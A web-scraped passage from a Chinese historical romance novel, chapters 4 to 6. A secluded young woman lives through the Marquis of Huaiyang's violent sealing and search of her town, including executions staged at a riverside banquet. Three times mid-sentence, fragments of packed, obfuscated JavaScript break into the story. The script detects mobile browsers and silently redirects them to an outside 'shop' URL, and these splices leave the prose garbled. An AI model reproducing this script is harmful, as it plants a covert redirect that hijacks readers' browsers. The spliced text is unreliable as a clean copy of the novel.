“让他捞。”年轻主上的声调显出平淡的冷酷，“捞到了，就地射杀。马鞍赠他做陪葬。 ” 无人质疑。 文士扶着年轻主上躺下：“粗略包扎好了。萧侯，你这次被人暗害，多处受伤，失血不少，莫再说话了。剧烈震荡之下视力也有伤损，回去需好好调养。” 不远处水上的小船追逐马鞍，绕着莲塘团团乱转，马鞍却顺水越漂越远。黄郎中空跑一趟，埋怨着无用的徒弟，丧气划桨离去。 狄荣回禀：“马鞍顺水飘走，黄郎中什么也未捞到，船回程了。” “唔。”萧承宴淡漠地应了声，并不在意，仿佛放走几只蝼蚁。 人躺在竹木担架上，被层层包裹的手居然还能抓东西。 他随手抓起啃了半截的鲜藕，喉结滚动，咔，咬了一口。 水边救他的小娘子，是平安镇人。 4. 第 4 章 锅上咕噜噜炖着鲜藕莲子肉汤。 清甜浓郁的莲子香混杂肉香弥漫卫家小院。 一麻袋十几斤莲蓬莲藕扛回家，沉甸甸的搁在厨房，支撑起南泱全家饿不死的底气，她接连七八天没出门。 四袋霉烂发黑的谷子终归有点用，养猪人家还是收下了，阿姆换回三十斤猪肉。 “养猪大户敦厚，看我们妇人家不容易，还额外送了十斤下水，几根猪大骨。” 阿姆絮絮地念叨着，“二娘子还在长身子的年纪，多喝些肉汤，再长高些就好了。哎，小娘子不求多高，生得娇小玲珑也惹人疼爱。但还是多长两寸最好……” 南泱站在清漆剥落的廊柱下，抬手比了下自己身高。 木廊柱上头有一道浅浅的划痕。是去年底搬来时做的标记。 大半年冬去夏来，眼看庭院里的草木抽芽开花疯长，爬藤郁郁葱葱爬满院墙，只有宅子主人的个头毫无变化。 南泱：…… 其实京城本家那些年，倒也无人短缺她的吃喝。她六岁时的个头并不比长姐矮多少，比三妹更是高出一截。 后来阿娘发了疯病，她被挪出阿娘的院子，带着乳母在僻静小院生活，四四方方一堵院墙拦住了她。 无事不出小院，人整日不怎么活动，吃得自然少。吃得越少越懒得活动，就这么一年年的…… 等众人察觉时，她已长成卫家三姐妹里个头最矮的。柔和的眉眼五官也显小，和三妹并排站在一处，乍看还以为她是卫家最小的三娘。 南泱被阿姆塞来一碗热汤，盯着连汤带肉喝下半碗，实在吃不下了，捂着快撑破的肚皮躲去屋里。 阿姆叹着气开箱收拾布料子。 南泱以养病的名义被送来乡下，本家送吃穿用度。按规矩来说，春夏秋冬四季，应该按季各送两匹布，供裁剪制衣。 眼下六月，夏季的布料，理应是上等的丝罗、绸缎。次一等的细缣布也能穿。 但本家实在欺负人，怎能送来两匹卫家下人都不穿的粗葛布呢？ 丁管事大言不惭扯着葛布道：“上好细布！” “这些烂透心肝的货色！也不知被主母身边的几个婆子存心克扣，还是丁管事掉了包？兴许一起合谋。一匹丝罗贵得很！” 阿姆边收拾葛布边骂，“等着吧，等二娘子回了京城本家，当面回禀家主，一个个的刁奴才发作过去，叫他们好看！” 南泱半个身子趴在窗边，冲院里说：“阿姆别为这些琐碎生气，不值当。两匹布的小事，阿父不会管的。” 阿姆怒道：“家主不管，主母也不管？卫家二娘天天穿着下人都不肯穿的葛衣，身上细嫩皮肉被粗布磨得一块块发红，丢的不是卫家人的脸面？传出去主母就颜面有光了？” 京城那边如何，南泱看不见也摸不着，想都懒得想。 “衣裳能穿就行，吃食糊口就行，名声是卫家的，只有身子是自己的。阿姆别气了，生气伤身。” 阿姆心疼得眼眶都发了红。 南泱走去木箱边，翻了翻布料，“两整匹葛布，放家里惹你生气，不如拿去换点米粮吧。年头从京城带来的几身衣裳，补一补还能穿。” —— 阿姆抱出去两匹葛布，从看门婆子那处换一些柴米油盐的吃用。 南泱得了空，坐在厨房出神。 对岸救了个摔伤郎君的事，她没敢跟阿姆说，怕被念叨。 淮阳侯的消息刺激太大，隔日她才后知后觉地想起，对岸险些摔死的年轻郎君，把鲜血糊满的脸擦干净了，眉眼轮廓看起来，有点眼熟。 似乎在哪里见过。 倒不是存心惦记人家，她真的很少出门。一年四季，面前晃来晃去的总是那几张脸孔。 来来去去都是熟面孔，这般过了六七年，偶尔碰到一位三庭五眼生得格外端正的年轻郎君，印象总会深刻一点。 南泱盯着热锅出神，在哪里见过？觉得眼熟？ 不可能在京城卫家。卫家规矩严苛，她十岁以后再没见过外男。 或许是搬来平安镇的大半年，悄悄出门的那几回，无意撞上的。 也不知黄郎中狮子大开口要了多少诊金，摔伤的郎君有没有救活？ …… 她往热锅里添了两勺水，把散乱的念头抛去脑后。 看门婆子压价压得厉害，捞了一笔实在好处，乐得卖人情，拉着阿姆嘀嘀咕咕半日，把镇子上的大消息倒给她听。 阿姆眼睛骇然睁大，关门快步回屋，“二娘子，你听说了吗！” 镇子家家户户流言疯传的“河对岸那位煞星”，淮阳侯，正式领兵进驻平安镇了。 “听说搜寻山匪贼人？带来好多兵马，镇子四面用木栅拦路，镇子里的人不许出，外头的人不许入。” 这天傍晚用饭时，阿姆心事重重，饭都吃不下。 “平安镇一个小小的乡下镇子而已，统共不到五百户农家百姓，十来家乡绅大户，哪能藏得住山匪？能榨出多少油水？为什么要把镇子封了？我听看门婆子说……” 阿姆嘴唇都在颤抖：“平安镇值得派兵搜刮的，只有人。鲜嫩可口的小孩儿的心，还有、十来岁细嫩小娘子的肉……” 南泱边听边喝汤。 再可怕的传言，被人在耳边反反复复地传扬许多日子，翻来覆去同一个路数，她早听麻木了。 半碗肉汤入腹，吃饱喝足，碗里的莲藕夹不完。阿姆自己吃不下东西，却不许她放筷，塞过来方方正正的两大块三花肉，催促她吃完。 南泱正塞得满嘴鼓鼓囊囊时，隔壁砰一声巨响，妇人的哭喊声隔墙传来。 隔壁娘子在叫喊：“我家做什么了？你们恁么缘由抓我男人？” 只听几个粗犷嗓门喝道：“谁抓你家男人了？奉命搜查！你家当家的冯二贵呢？官府造册，你家丁口六人，现清点家中只有妇人和佃户四人，当家的男人和儿子去何处了？你家与山匪贼人可有勾连？” 翻箱倒柜声不绝于耳。 有人高声道：“寻到了一个！他家男孩儿躲在米缸里。” 隔壁娘子惊恐大喊：“别动我家柱儿！ 淮阳候想吃……贵人想用晚食，我家还有个十三岁的婢子，年轻鲜嫩！民妇愿献上婢子，放过我家柱儿吧。” 话音未落，隔壁一声少女的尖利叫喊几乎喊破喉咙，显然惊恐到了极致。 “主母，饶过婢子！” 几乎同时，阿姆也露出窒息的神色，猛地从食案边起身，不慎撞歪了长凳。 “二娘子，快……躲起来，不，我们得寻出路。”阿姆冲向柴房寻木梯。 南泱放下碗，出屋穿过小院，走去紧闭的大门后。 外头人喊马嘶，两个看门婆子早溜得无影无踪。门外孤零零挂着一把铜锁，明亮的火把光芒从门缝漏进来。 铜锁是从外锁上的，南泱推了推，大门打不开。 一双乌溜溜的圆眼隔着门缝往外打量。 迎面走来一队披甲精悍将士。领头的将军浓眉间一道疤，提长枪骑马过门前。 南泱从里打量的同时，那将军也正好勒马打量这间乡下罕见的青瓦大宅院。 镇子上的里正跟在马前，满脸虚汗，也不知热出来的还是吓出来的，脸色憋出猪肝红。 里正磕磕绊绊地道：“回禀狄将军，这处宅子不好搜查的。里头住户是、是京城卫家的女眷，在平安镇置办的内宅。” “京城卫家？”南泱站在门后，听马上那浓眉带疤的将军问，“京城哪个卫家？” “就是祖上开国立下大功的那个卫家，如今的永兴伯府，也是贵人门第哪！这宅子是卫家女眷在乡下休养的地方……” 光线大亮，所有的火把光芒都围拢过来，把卫家宅子门前照得纤毫毕现。 南泱赶紧往后一缩，躲开光亮，静悄悄蹲在阴影里。 姓狄的将军拨马往回奔，门缝背后看不见他去了何处，只听他喊：“去个人，回禀主上，有个永兴伯卫家的宅子！” 南泱：“嗯？” 所以，前头这位威风八面的狄将军是个开路的，后头还有一位主上？ 才想到这里，“开路的”狄将军突然拨马转身，目光带腾腾杀气，望向卫家紧闭的大门高喝： “淮阳候帐下，奉令搜查平安镇！门后那人听着，开门！” 南泱：“……”这些军汉确实有点可怕。 她隔一道门都被吼得耳朵嗡嗡的，往后连退几步。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140625|196312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >阿姆听到动静，从柴房冲出来高喊：“门从外落锁，里头开不——” 门外的狄将军听出拒绝之意，不等阿姆喊完便一挥手，做出坚决的下劈动作。 “……里头开不了门。”南泱喃喃地替阿姆说完最后一个字，正好和门外发出的巨响重合。 耳边传来一声巨大的：轰！ 火把光大片涌进门里。黯淡的庭院瞬间被照得亮堂堂的，南泱和阿姆一老一少的单薄身影暴露在火把光下。 门板劈裂了……裂了…… 两扇厚实的木门板仿佛摔裂了瓤的西瓜，被刀斧劈出一个三尺长、半尺宽的大裂缝。 南泱耳朵震得嗡嗡地响，被喷了满肩的木屑，瞠目对着门板上的大豁嘴。 几个手臂从窟窿里探进来，打开门背后的木栓，推开豁嘴大门，兵士鱼贯涌入庭院。 阿姆惊恐地大喊一声，仿佛护崽的母鸡遇到天敌，发抖的手臂紧抱住南泱，把她推到身后。 兵将们却仿佛没看见主仆两人似的，一拥而入搜查各处。 门外还在高喝：“卫家多少丁口？家仆、佃户几人？可有藏匿外来贼人？如实地报上来！” 南泱：…… 这些人不知道什么叫内宅吗？没见大门从外上了锁？ 她平心静气地报数：“主仆两人，看门婆子两只，无田地佃户，内宅不敢藏匿贼人。平日不出门。” 冲进门的将士们仿佛田猎放出的大群细狗，呼啦啦厨房后院扫荡一圈，又跳下地窖查看半日，什么也未搜刮到，居然原样退走了。 门外有个军中主簿模样的人低头刷刷提笔记录，“京城卫家，主仆四人，皆是女眷……”忽地想起什么似的，追问南泱： “女郎平时半步都不出门？天气这么热，会不会偶尔去水边？” 南泱：“我……” 阿姆满心警惕地冲上前，“我家女郎是高门闺秀，平日大门都不出，怎会去水边？门外有看门婆子，女郎从不出门！” 确实。狄荣看了眼大门劈裂的铜锁，从外锁着的。 卫家既无男丁，卫家女郎又从不出门。这次排查搜寻的山匪和救命小娘子两桩事，和卫家完全无关了。 狄荣在记录簿子上划了个钩。 “下一家。” 将士们蜂拥而来，又潮水般退走。 卫家宅子恢复了安静，只有被刀斧劈开的大门依旧敞着豁嘴。 南泱拿手比划一下窟窿大小，试着把脑袋探进豁口，结果半个身子居然顺利钻了出去。她轻轻吸了口气，这大豁嘴必须得补了。 钻都钻了 …… 就着半个身子探出门缝豁口的动作，她往土路两边探了探。 远处火把蜿蜒，披甲将士正在挨家搜查，轮到下一家鸡飞狗跳，高声查问的还是田地、丁口、无籍流民。 阿姆在身后急得跳脚，扯着她的手肘往回拉：“这哪是女郎能钻的？” “小心木刺！ ” 南泱卡在门板豁口上，以手挡着木刺，正慢腾腾地往门里退，眼前忽地一闪，几道刺目亮光照上脸庞。 她闭了下眼，再睁开。 一辆双驾骖车慢慢行驶过土道。 四五十精悍将士刀甲森然，骑马护卫在马车四周。拉车的两匹黑马高大雄俊，前方开道的灯笼极明亮，灯罩晶莹剔透，像是京城这几年流行的昂贵的琉璃灯。 阿姆从门窟窿里早看见这辆气派非凡的双马大车，颤声催促：“二娘子，快，快退回来……” 马车的车帘子卷起半截，里头黑黢黢的看不清人影，只听到一道年轻而陌生的男子声线从车里传出： “右边那户人家，卡在门上的是什么东西？” 四五盏琉璃灯齐齐往右边门缝上照去。 青瓦宅子大门被劈裂个大豁口，不见有人。 南泱屏息静气坐在门背后，一边掸身上到处洒落的木屑，门外有人回话：“回萧候，右边宅子正是狄将军报上的卫家。” “京城卫氏，永兴伯卫协，有个生病的女儿在平安镇静养。家中皆是女眷，门内并无男丁。” “卡门上的是他家女儿？”马车里的男子嗓音低哑道。 南泱嘴角微微一抽，往门背后的阴影里挪了挪。 5. 第 5 章 “……不可能！” 跟车回话的青袍官员是管辖平安镇的山阳县令，本能地觉得不可能。 “卫家一主三仆。高门教养出来的女儿，平日足不出户，如何会卡门上？萧侯一定看错了。女郎此刻应在闺房……” 车帘放下了。 车里男子冷淡道：“无关的猫猫狗狗不必提。” 南泱： “……” 你才猫猫狗狗，你全家猫猫狗狗。 琉璃灯光亮又转暗，马车驶过卫家门前。 南泱默默腹诽着从门后起身。人还没站稳，只听门外嗤笑一声，“本侯允许杨县令走了？” 帮卫家说话的山阳县令姓杨，瘦而高，二十七八年纪。 马车里低哑的男子嗓音，细听其实更年轻。这位萧候的年纪并不大。 南泱吃惊地听门外一阵磕碰乱响。 山阳县令连连推拒不成，被几个将士不由分说架去马上，连人带马推搡拉走。 车里的萧侯自称“远道而来”，今晚“水边设宴，款待本地的各位地头蛇”。 “盛情邀请”杨县令赏光出席。 “……我不去！我乃朝廷命官，岂能牵我如猪狗牛羊！淮阳候你欺人太甚！杨某不去——！” 山阳县令嘶声力竭地被带去远处。 南泱在门后都站起身了，被杨县令一句“淮阳候”惊得噗通又坐回地上，心脏狂跳。 马车里看不清面目的年轻的“萧候”，原来就是淮阳候？？ 人马走远后，阿姆才敢出声。 “原来淮阳候姓萧。萧候，萧候，也不知哪个萧家出了这么一位列侯？卫家怕也惹不得。二娘子，平安镇从此不太平了，我们要不要……求个门路，回京避祸？” 南泱摸着门上劈出的大豁口。 “下午看门婆子才说的，木栅封了整个镇子的路，不许出入。” “哎哟！” 当时不觉得如何，如今猛想起这茬，阿姆声音惊得都变了。 “封了镇子？不许出去？那我们、我们——” “我们先回屋歇着。”南泱安抚地拉着阿姆往回走。 “厨房还有十几二十斤肉，一袋莲蓬鲜藕，还有阿姆没舍得动的三根猪大骨呢。” 左邻右舍哭声不绝，家家户户都有人被带走问话，妇人搂着孩子哭哭啼啼，还有几个彪悍的追出去扯着自家男人和兵士撕打。 阿姆听得惊心动魄，不住念佛：“这可如何是好？” 南泱琢磨了好一阵。 “附近十几家乡邻，家家都有男丁被带走盘查，只有我们家没有男丁，所以不来盘查我们……所以，淮阳侯真的在搜查山匪？没想抓人吃肉？” 阿姆可不觉得：“二娘子，别把人想太好了。邻家娘子不是刚献上了她家十三岁的小女婢？淮阳侯一天吃一个，够了。” 南泱：…… 燥热的空气四处漂浮着躁动不安的气息。 夜色笼罩四野。 才安静了没多久的镇子土路边忽又传来一阵激烈搏斗声响，彻底惊动家家户户。 “有贼人！” “贼人藏匿地窖！” 利箭入肉的可怕沉闷声响传来。 暮色里四散奔跑的几个人影纷纷中箭，身躯沉重扑倒。 鲜血流淌土路，很快积成小洼。 南泱屏住呼吸，隔着门上的大豁嘴，眼睁睁看精悍将士追上去，挨个割下首级，无头尸身扑倒路边。 “都看好了！这几个就是伪装山匪、袭击淮阳侯的反贼！从你们平安镇人家的地窖搜出的！” 兵士们举着火把大喊，“主动告发，从宽处置！藏匿反贼者杀无赦！” 南泱瞠目对着门上漏风的窟窿。 门外血腥气弥漫，粘稠的血水混合着泥土，一路顺着土路沟流向各处。 死不瞑目的头颅咕噜噜滚来卫家宅子门前。一双死气沉沉的眼睛大睁对天。 正好跟门窟窿后头的南泱大眼瞪小眼。 南泱自语：“……反贼？不是山匪？” 隔门奔近一个兵士，正好听进耳里，没好气喝道： “假山匪，真反贼！蓄意伏击路边，谋害我家萧侯！袭击失败后逃亡乡野！” 南泱：“哦……” 搜查的前因后果，她其实没太听明白，但当着一颗死不瞑目的人头不敢多问。 那兵士居然也气得不轻，提着头发乱蓬蓬的死人脑袋边走边抱怨。 “这平安镇怎么回事？整二十家搜下来，不是男人跑了，就是藏起小孩，还有献小娘子的，窝藏反贼的，只有你们一家干净。整个镇子都发癫了？” 南泱：“……” 有没有可能，是你家主上淮阳侯的名声在镇子上太差了呢？ 兵士走出几步，忽地想起什么，回身又问，“小娘子，最近你可有去过水边？或看到哪家小娘子去过水边？如实报上来。萧侯在寻一个小娘子，寻到有重赏！” 那兵士一回身，手里提着的死人脑袋也跟着转过脸来，滴滴答答往下流血，死不瞑目的眼睛直对门洞。 南泱心里一抖，兵士叽里咕噜的问话从耳边飞了过去。 什么重赏？谁敢从萧侯手里赚重赏？嫌命太长吗？ 她没吭声，谨慎地取长凳堵上门洞……提起裙子狂奔回屋。 这个晚上睡得不大好。 左边邻居的五岁小男童半夜做起噩梦，哭喊：爹爹，爹爹…… 相比于左边邻家的哭喊声，右边邻家死一般的寂静更瘆人。这家因为地窖里窝藏三名反贼，犯下窝藏大罪，全家都被绑缚带走。 “右边邻家是做糖饼的。”阿姆叹息说，“难怪最近糖饼生意都不做了，看门婆子说他家发了大财……原来是窝藏反贼拿的钱？原本好好个镇子，怎么闹成这样呢。” 阿姆显然越想越多，越想越后怕。 “二娘子，不能等了。平安镇被淮阳候盯上，镇子怕要被扫荡平了！咱们必须得让家主知道平安镇的祸事，接你回京城！” “没用的。”南泱在黑暗里安详地躺平床上，手指捏住荞麦软枕，这是她习惯的睡觉姿势。 “阿父平日都不管我，领兵封镇子的淮阳候不好惹，阿父更不会管我了。阿姆，睡吧。有事明早起来再说。” 阿姆哪能睡得着？她在黑暗里翻来覆去，发狠道： “卫家不管二娘子，周家呢？周家现在当家的，是二娘子你嫡亲的舅舅！周家经商有门路，我们写信给周家求救去！” 屋里传来平缓的呼吸声。 南泱没心没肺地睡沉了。 —— 镇子外河边。 八盏琉璃灯光，把河边照得亮堂如同白昼。 水面通亮，波光粼粼，灯光倒映半塘莲花。 水边有宴席。 大锅灶火现场烹煮佳肴，食案上像模像样摆出了酒水和八盘大菜，菜香混合着血腥气传出老远。 这场宴席的主人：淮阳候萧承宴，当仁不让坐在主位。 赴宴客人都是本地的地头蛇：山阳郡本地官员们。入眼一片青色、绯色官袍，面色不是惨白就是惨绿。 山阳郡下属三个县的县令都在。杨县令脸色铁青地坐在陪座。 唯一的主客位空着。 本地官职最高的山阳郡太守没来。 河岸有山。距离水边不远，有几处离地面七八丈的高地。 高地刚刚摔死了一个人。 尸身扭曲躺在河边，满地红红白白，手足还在颤动。 今晚宴席主人萧承宴，面前落下一层竹帘，遮住手肘以上的部位。 竹帘不透光，在场众宾客看不清帘后的相貌表情，只能看到淮阳候斜靠在一张黑檀木围屏风大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140626|196312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 榻上，穿一身玄色暗绣朱红滚边锦袍，两只长腿懒散叉开。 右手不知为何伤到了，层层裹起纱布，只用左手握酒樽。 再仔细去看，淮阳侯的左手背上竟也有几道深且长的新鲜痂痕。 宴席主人毫不在意四周窥探的眼神，自顾自地饮满一杯酒，把空杯倒扣在食案上。 众官员不敢再看，纷纷低下头。 淮阳候的声线低而哑，对外声称的说法，是大病初愈。 但明眼人都看得出，这位身上带着新伤。 许多人心底同时转过一个念头：哪个给淮阳侯使绊子了？ 这位来自京城的朝廷新贵，去年冷酷地镇压了南边湘王叛乱，杀尽湘王旧部，以战功封侯。 最近带着许多辆大车和天子赐下的贵重宝物，前往封地。 不巧路过山阳郡地界的半路上，遭遇了山匪…… 荒山野岭哪来的山匪？！多半是淮阳侯的仇家打着山匪名头动手吧？ 被激怒的淮阳侯可不管这些。 今晚以宴客的名义强绑了各路官员来，好个血淋淋的下马威。 只听竹帘后的宴席主人道：“盛宴岂能无歌舞？刚才那个跳一下就死了，实在扫兴。再提一个上去，给各位再跳一段舞。” 高地上方影影绰绰，又有个人五花大绑，被兵士推搡着走上高地。 上一个摔死的尸首还躺在水边，高地上那人见势不妙，噗通跪倒，一边疯狂磕头一边高喊： “萧候！小人万死！小人只是个管马粮的主簿，上头吩咐小人给马厩送疯马草……小人不知喂的是萧侯的马啊！饶小人一命，小人愿意指认祸首！” “这个倒乖觉，自己抢先认了。” 竹帘后的淮阳候笑了声，低头抿了口酒。 在场众官员高高提起的心才放回胸腔，只见淮阳候把酒杯放回食案，擦干净手上酒渍，抬手往下，平静地往下一指。 砰一声巨响，马草主簿从高地摔下五六丈，倒伏水边，抽搐几下不动了。 鲜血从身下汩汩流淌，染红水边砂石。 “又死得太快。竟没有一人能为本侯招待贵客的盛宴，跳一段长点的歌舞？” 第三个五花大绑的人被推搡上高地。 竹帘后的淮阳候吩咐道： “他便是指使马粮主簿、给本侯爱马喂疯马草的所谓‘祸首’，山阳郡丞。疯马草喂养的疯马，赠他一匹。” 一匹狂躁踢腾的马被牵上高地，兵士把第三个人捆绑马上，连人带马往陡峭山坡方向拉。 两具尸体血淋淋地躺在下方，高地马背上那人在明亮的琉璃灯光映照下，面色惨白似幽鬼。 周围窒息的空气里，只见那人闭了闭眼，下定决心一般，嘶哑高喊： “萧侯饶命，下官是奉命行事！下官愿意如实招供，这次截杀萧侯的指令，来自京城！” “京城传来密旨，下官只是奉密旨行事，山阳郡收到密旨的不止下官一个，陆太守也收到了！下官愿献上密旨，随萧侯回京指认——” 竹帘微微一动。 在座众多官员近乎惊恐的眼神里，只见竹帘后的人抬起小臂，修长指节往下，再度平静地往下方一指！ 砰——！ 这次连人带马摔下山崖，声响格外巨大，摔得也格外地远。 马匹摔去水边，仿佛个摔漏的皮袋子，到处汩汩喷血。马背上的人被巨大的撞击力摔飞去水里，浑身抽搐，却没有即死，水面剧烈抖动，浮起一片血红。 “歌舞终于像样了。” 空气窒息般静止，鸦雀无声。只有淮阳侯一人的嗓音从竹帘后传来，带出明显愉悦的尾音。 “诸位，本候为各位宾客准备的水边宴席之舞，可精彩否？” 竹帘后的人影悠然举杯：“诸公亦觉得歌舞精彩，还请拍掌赞叹，莫辜负了舞者献艺。” 6. 第 6 章 水边宴席响起稀稀拉拉的拍掌声。 在座官员笑得比哭还难看。怎么叫他们遇上这煞星？ 淮阳侯萧承宴果然跟传说中一样，是个嗜血好杀，行事难以理喻的疯子！ 拍掌声断断续续，仿佛一阵阵窜稀。宴席主人不喊停，宾客们的拍掌声也不敢停。 满座掌声和附和的笑容里，只有一人既没有拍掌，亦没有笑。 杨县令脸色臭得像茅坑里的石头，硬邦邦道： “淮阳侯枉顾国法，滥动私刑。瞬间连杀三人，死状狼藉，有何精彩之处？下官不知！” 竹帘后伸出几道新疤痕的左手，宴席主人悠然抿了一口酒。 “说得好。杨县令，本侯很欣赏你。” 杨县令深吸口气，预感自己的人生今晚要戛然而止。 他尽量从容地站起身，在满座无人敢停的稀拉掌声里，张口要留下几句流传后世的身后遗言：“本人杨慎之，无惧生死——” 有个亲兵跑近，跪地回禀：“掉入水中的逆贼已死！” 竹帘后的萧承宴意兴阑珊地摆摆手，打断杨县令才开头的遗言：“宴席尽兴，散了罢。” 满座官员们如听天籁，瞬间弹跳起身！ 众人怕淮阳侯临时又改变主意，一个比一个跑得快，水边宴席只留下个还在发愣的杨县令。 竹帘掀起。 只闻其声不见其人的淮阳侯，终于在琉璃灯下露出真容。 这位朝廷新封的列侯，年轻得超乎想象。 鼻梁高挺，神色淡漠。薄削唇线上扬，看似在微笑，细看又像讽刺。 竹帘遮挡下，他居然袒露着上半身坐在帘后大宴宾客。右边肩胛、上臂，整个额头，也跟他的右手一样，都厚厚包裹着一圈圈的纱布。 额头纱布至今还往外渗血。 萧承宴今晚耐着性子坐了半个时辰，两边太阳穴一跳一跳的。 头疼。 那日高地摔下，他凭借敏锐直觉反应以马身挡住冲击力，侥幸逃脱死局。但脑壳被震荡得不轻，里头漏风似的，至今视线模糊，不能骑马。 杨县令那棒槌，宴席都散场了，人还直挺挺地站在原地等死。 萧承宴不耐烦起来，把敞开的外袍拢上肩膀，穿过曲终人散的宴席。 “今晚歌舞尽兴，可惜陆太守未能赴宴。改日本侯再邀他。” “杨县令，平安镇在你治下，本候有件事委托你去做。” “寻个小女子。” “……什么？！”杨县令起先几乎以为自己听错了。 直到淮阳侯在众多精锐亲兵簇拥下走远，兵士开始洗刷河岸血迹，被独自扔在岸上的杨县令终于回过神来，震惊大喊： “萧候寻个女子，竟要把全平安镇十五岁到二十五岁的年轻女郎，全部拉出来检视？” “岂有此理！……荒谬！” ———— “你们都听说了吗？” “作孽哟。” 两个看门婆子又在嘀嘀咕咕。阿姆过去探听几句，脸色变得极为难看。 “二娘子，你听说了么？”阿姆快步走进屋里，“这镇子真的待不得了。” 南泱正在用朝食。 莲子荷叶小米粥，清香里带着甜。 她带点茫然从碗里抬起头，听阿姆急促转述。 “平安镇十五岁至二十五岁的妙龄女子，都被淮阳候盯上了。那煞星打算挨家挨户地搜刮女子，召去面前，供他当面验看。” 阿姆气得声音发抖：“这个年纪不是待嫁的小女郎，就是新嫁妇。淮阳候想学皇帝给他自己选妃？岂有此理！平安镇虽然是乡下小地方，也要讲王法的！” 南泱起身去锅里盛了一碗热腾腾的甜粥，让阿姆也坐下吃。 “阿姆别气了。都是乡邻们的猜测，不见得真。” 阿姆哪里吃得下粥？ 她又想起一个更可怕的猜测。 十五岁至二十五岁的年轻女子皮肉细嫩，兴许淮阳侯不是选妃，而是选吃的呢？！ 阿姆肩头一颤，没忍住望向南泱。 年方十六岁的少女，明眸皓齿，肌肤柔滑。仿佛正当季的花儿，既年轻又鲜嫩…… 阿姆简直要被脑海里的想象压垮了。 她崩溃地喊：“镇子实在待不得了，得想法子走，即刻走！” 南泱低头扒了口粥。 “隔壁十三岁的小女婢，那晚不是都被献上了？后来人又活着放回来，至今好好的。” 听那小婢子说，压根没见到淮阳侯。只遇到一个眉骨有疤的狄将军，还有个大袖文士打扮的明先生。 明先生和颜悦色问了几句话，小女婢哭哭啼啼地答：主母献上她，供淮阳侯吃用，只求别吃家里五岁的小郎。 狄将军黑着脸臭骂了一顿，把小女婢放归家里。 “这几天镇子上敲锣打鼓，几个大嗓门的军士来回喊话，说淮阳侯吃人的流言是有人刻意造谣，让我们莫信。” 阿姆呸了声，“贼喊冤枉，他就不是贼了？你看镇子上哪个信他们的喊话？” 南泱：“但隔壁十三岁的小女婢……” 阿姆：“又小又瘦的，身上没三两肉，兴许淮阳侯瞧不上眼呢。这不开始找十五岁到二十五岁的年轻女子了？” 南泱看看阿姆，阿姆回瞅她。 镇子被封了，所谓逃离镇子也只能嘴上说说。 两人都不吭气了。 阿姆起身给南泱添了半碗粥。 “算了，多想也没用。多吃点吧，多留意镇子上的风声。” 镇子上的风声就像六月晴雨不定的天，一天能变仨回。 起先传说：镇子上所有十五岁到二十五岁的小娘子都被淮阳侯看上了，都得出门待选。 落选的回家，选中的跟随淮阳侯去，生死由命吧！

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140627|196312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 家家户户哭声一片，整个平安镇被哭声淹没了。 哭声惊动了淮阳侯帐下的一文一武两员辅臣，狄将军和明先生。 两人傍晚亲自现身，沿着土道挨家挨户地喊话： “各位父老乡亲，莫传谣、莫信谣啊！小娘子们不会有事，萧侯只是寻镇子上一位曾经有缘见面的女郎而已！” 有胆子大的泼辣妇人隔门喊： “镇子上见过淮阳侯的小娘子，不就是医馆黄郎中家的女儿？三月早送去京城了！淮阳侯是不是把人吃了？吃了一个还不够，又回来镇子上找其他的小娘子！” 众多妇人汉子从门缝后附和：“就是！” “就是！” “只有医馆黄郎中家的女儿，俺们镇子再没有旁的小娘子见过淮阳侯了！” 明先生幽幽道：“三人成虎，众口铄金。谁知萧候不吃人？”摇摇头先回去。 狄将军勒马留在土路边，扯开嗓门解释： “不对，还有一个！萧侯提起，是个提篮采桑的小娘子，夏季也划船采莲——” 有妇人回嘴：“长什么模样的小娘子？方脸圆脸？个头高矮？说话高声还是小声？爱笑不爱笑？” 狄荣耿直道：“我家主上没看清脸，那小娘子相貌不详，声音也记不清晰。但主上觉得，应是个十五岁至二十五岁之间的妙龄女子……” “我呸！”“呸呸呸！”“不知道长相也不记得声音，谁信？” 不等狄荣说完，周围人家愤怒的骂声大起。不知哪户人家借着暮色遮掩往门外扔烂菜叶子。 狄荣一把抓住甩去地上，道：“别扔了！” 下一刻，烂菜叶子从四面八方砸了出来。 等南泱听到动静赶出庭院，从宅子大门上的豁口往外看时，只见狄将军挂着满盔甲烂菜叶子，面无表情地驱马走过门前。 南泱站在门后，吃惊地眨了下眼。 或许呼吸声重了些，狄将军唰一下转过头来，正对卫家门上的大豁口：“别看了！” “……”南泱又屏息蹲去地上。 淮阳侯帐下这些将士，真的满可怕的。 将士马蹄声消失在远处，左右乡邻的骂声越来越响。南泱轻吁口气，拍着裙摆灰尘起身。 说起来，淮阳侯领兵封锁镇子已满三日了。 这三个日夜，献上的小女婢被退回，搜家搜出的小孩儿也没带走。镇子上五百来户人家，没听说哪家人被吃了。 